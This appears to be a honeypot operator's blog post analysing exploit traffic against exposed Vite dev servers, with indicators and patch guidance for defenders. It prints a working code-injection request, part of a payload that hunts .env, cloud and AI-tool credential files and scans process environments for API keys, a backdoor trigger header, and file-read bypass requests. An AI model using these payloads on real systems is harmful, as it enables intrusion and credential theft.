Blog · · HoneyLabs
Exposed Vite dev servers are being hunted for .env files and API keys
Vite patched a critical dev-server code execution bug on 10 November. Four builds of an exploit for it arrived between 15 and 22 November, the first of them five days after the patch. Their payloads go after .env files, AWS credentials and .claude.json, scan every process on the machine for API keys, and in one case install a backdoor behind a header AWS does not use.
An unpatched Vite dev server started with --host will run whatever
JavaScript is in this URL, as the user who started it. 51 addresses sent the
request below on 20 November, to the ports where a front-end dev server
answers. The URL is one
line on the wire, wrapped here, and percent-decoded.
GET /@id/__vite-browser-external:`);}});import.meta.glob('./*',{[`${{toString:
Function`return"\x560_HIT"`}}`]:1});var z=new Proxy({},{get(_,k){throw new
Error(`?import HTTP/1.1
Host: <target-ip>:3000
Accept: */*
Connection: close
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
X-Amzn-Trace-Context: Root=1-672e9988-dHJ5e3JldHVybiJWMzJfT0sifWNhdGNoKGUpe30=
Everything after __vite-browser-external: is JavaScript that Vite will run,
and since \x56 is the letter V, the code hands back the string V0_HIT.
The );}}); at the front closes brackets that Vite opened, and the
unterminated backtick at the end swallows the ?import query Vite appends, so
the generated module still parses. The header is base64 for
try{return"V32_OK"}catch(e){}, which does nothing at all unless the machine
was exploited earlier that week.
The request is an exploit for GHSA-p4f5-76q4-ffq7, the Vite dev-server code execution advisory, which went up on 10 November. All of this is unsolicited traffic that reached HoneyLabs honeypots, where four builds of the exploit landed between 15 and 22 November.
The advisory
Vite published GHSA-p4f5-76q4-ffq7 on 10 November 2026, rated critical at CVSS 9.1. No CVE id has been assigned, and the advisory lives only in Vite's own repository, since the GitHub Advisory Database page for the id answers 404. Its summary: "By sending an HTTP request to the dev server, a [sic] arbitrary code execution was possible."
The module id after __vite-browser-external: goes into generated module
source without escaping: "These modules embedded the module ID, which is
derived from the URL, without escaping." Something still has to run that text,
and the advisory names it: "Vite uses eval to extract the value in the
module code for new Worker and import.meta.glob."
In the request above, the injected code gives import.meta.glob an object
whose toString is a tagged template on Function, so the function is
compiled when the object is built. Vite then turns that key into a string to
read the glob arguments, stringifying calls toString, and toString is the
compiled function.
The advisory lists a single affected configuration: an app that "explicitly
exposes the Vite dev server to the network (using --host or
server.host)". Bound to localhost the dev server is unreachable, and none of
this applies.
The first build, 15 November
Nothing matching __vite-browser-external had reached us in the nine months
before 15 November at 17:48 UTC. The advisory was five days old that
evening.
Two addresses sent that build, and
168.119.64.101 is the one
that opened. It sent 553 requests in 37 seconds and has not been seen before
or since. 326 of them carried the exploit, over 39 ports, each port in both
the plain form and the /_nuxt/ form that Nuxt serves:
80 443 3000-3010 3030 4173 4200 4321 5000 5001 5173-5180
7000 8000-8002 8008 8080-8082 8443 8500 8888 9000
Most of that is the JavaScript dev-server range: Vite on 5173 and its preview on 4173, Next and Nuxt on 3000, Angular and Astro higher up, with 80 and 443 for anything sitting behind a proxy.
That URL is 1,509 characters long. After the glob trick sits a base64 blob
that the injected code inflates with zlib.inflateRawSync and hands to
Function. Everything below comes from reading those 1,474 bytes of Node. The
top of them, wrapped to fit and not valid as printed:
const p=process,r=p.getBuiltinModule||p.mainModule.require,fs=r("fs"),
h=p.env.HOME||p.env.USERPROFILE||"/root";
const c=new Set([".env",".env.local",".env.production","../.env",
"../../.env",h+"/.claude.json"]);
const W=/^\.(aws|claude|codex|config|cursor|gemini|ssh)$/,
F=/(^\.(env|npmrc|claude)|credentials|hosts\.yml|oauth_creds|
(service[-_]?account|adminsdk|mcp|auth).*\.json|docker-compose|
ecosystem\.config|wrangler\.toml|terraform\.tfstate)/i;
c is the list it reads without looking, W the hidden directories it may
enter, F the filenames worth taking. Vite blocks require and exports
inside module code, which the advisory says is not a security boundary, and
the payload's first line walks around it through getBuiltinModule.
It walks ., .., ../.., /var/www, /opt, /srv, /home, /root,
$HOME and $HOME/.config two levels deep, skipping node_modules, dist,
build and .git. Each matching file is read to a cap of 12,000 characters,
credential-shaped names first.
Then it reads /proc/*/environ for every numbered process on the machine and
keeps the ones whose environment matches this:
sk-|AIza|AKIA|ASIA|ABSK|KEY|SECRET|TOKEN|OPENAI|ANTHROPIC|AZURE|GEMINI|CLAUDE
Those environments stop at 90 KB and the files take the total to about 140 KB,
all of it returned in the HTTP response between LB64_ and _END.
In September a scanner was asking web servers for
.claude.json and .cursor/mcp.json by name,
one guessed path at a time. This payload reads $HOME out of the environment
and opens the file.
The backdoor build, 19 November
Four days later a second build arrived, from six addresses on four networks, between 19 November 15:09 and 20 November 05:47 UTC. The injection is the same. The payload is much larger, and its job is to leave something behind.
It replaces ServerResponse.prototype.writeHead and .end, and the
replacements rewrite any status of 400 or above to 200 and delete the
content-length header, which lets the hook return more than the response it
replaced.
Next it patches Server.prototype.emit and marks the object _lilith_v3, so
a second visit finds the hook already installed. After that, any request whose
x-amzn-trace-context header begins Root=1-672e9988- has the base64 after
that prefix compiled with Function("process","require","req","res", ...) and
run. The reply is [GHOST_OK v3=True] and then whatever that code returned,
which is why the request at the top of this post asks for V32_OK back.
The header name is borrowed. AWS load balancers set X-Amzn-Trace-Id;
X-Amzn-Trace-Context appears nowhere in AWS's own documentation, and the
trigger reads like infrastructure to a person scrolling an access log. I found
no public write-up of it, under that name or the GHOST_OK string.
The same request carries more. One piece writes 3 KB of base64 to
/tmp/.ls1a that decodes to nothing readable, with no key for it anywhere in
the request. Another rides in a header called x-v0-s1 and reads .env,
/var/www/.env, ~/.aws/credentials, ~/.claude.json and
~/.claude/.credentials.json.
The sweep, 20 November
The collector ran from two addresses and the backdoor from six. On 20 November the exploit went out from 53, on 26 networks, most of them inside two hours: 51 of them sent the probe at the top of this post, and two were backdoor addresses from the night before, which is the only overlap between any two builds.
Those same 51 also used a second, older bug:
CVE-2025-30208, the 2025
server.fs.deny bypass that a trailing ?raw?? opens. Here is one address,
on one port, in 300 milliseconds:
04:54:55.052 GET /@id/__vite-browser-external:`);}});import.meta.glob(...
04:54:55.342 GET /_nuxt/@fs/proc/self/environ?raw??
04:54:55.343 GET /@fs/proc/self/environ?raw??
04:54:55.355 GET /_nuxt/@id/__vite-browser-external:`);}});import.meta.glob(...
04:54:55.356 GET /
The first and fourth ask whether the server executes. The second and third
read its environment through the 2025 bug. The bare / carries nothing but
the trigger header, which asks whether this machine is already theirs.
40 addresses sent /@fs/etc/passwd?raw?? in the same fortnight, and not one
of them is in these 53. That file proves the bypass works and collects
nothing. /proc/self/environ holds the API keys a dev server inherited when
somebody typed npm run dev.
The 53 addresses look rented for the morning. Not one of them had been seen in the nine months before 19 November, and none has come back in the two days since. None of the 81 addresses in this traffic falls inside any of the 28,320 ranges we hold for 74 research scanners.
Fifty of the 53 send one Akin fingerprint, our open HTTP fingerprint, computed from header order and casing, which an address change does not touch. The crowd is one client build with a rented address list.
How much of this is one crew, I can't say. The backdoor and the sweep share the trigger constant and those two addresses. The collector shares neither, and its code is written in a different style, so it may be someone else reading the same advisory.
None of it ran. There is no Vite behind any of these ports: 168 of the 176
requests we hold a status code for took a 404, and the other 8 a 200 from a
persona imitating a different device.
The response bodies, the /tmp/.ls1a blob and whatever the second stage would
have been are outside what this traffic holds.
The quiet build, since 20 November
The backdoor's last request landed at 05:47 and the sweep's stragglers ran to
20:30. At 06:23 a fourth build started, and it is the only one still arriving:
/@id/__vite-browser-external:path, no payload, from 22 addresses on 12
networks.
__vite-browser-external:path is Vite's own virtual module, the browser stub
for node's path, so the request carries no exploit and asks one question: is
a Vite dev server here. That is the first column of a target list.
The strings each build left behind:
| build | in the URL | in the header | on the wire |
|---|---|---|---|
| collector, 15 Nov | inflateRawSync |
- | LB64_, _END |
| backdoor, 19 Nov | _lilith_v3 |
Root=1-672e9988-, x-v0-s1 |
[GHOST_OK v3=True], /tmp/.ls1a |
| sweep, 20 Nov | V0_HIT |
Root=1-672e9988- |
V32_OK |
| resolution, since 20 Nov | external:path |
- | - |
Checking your logs
Three strings, in any web or proxy log:
__vite-browser-external
@fs/proc/self/environ
Root=1-672e9988-
The first two are exploitation attempts whatever came of them. The third, on a request that is not yours, means the sender expects your process to be listening for it.
The version check is npm ls vite, plus npm ls rolldown for Vite 8, where
the fix lives in the binary. Everything from 4.0.0 is affected, and the 4 and
5 lines have no fix of their own. The patched releases:
vite 6.4.6 7.3.8 8.1.7 8.2.5 8.3.7
vite-plus 1.5.1
rolldown 1.1.7 (for vite 8.1.7) 1.2.17 (for vite 8.2.5 and 8.3.7)
For exposure, grep your repositories for --host on a vite command and for
server.host in vite.config.*.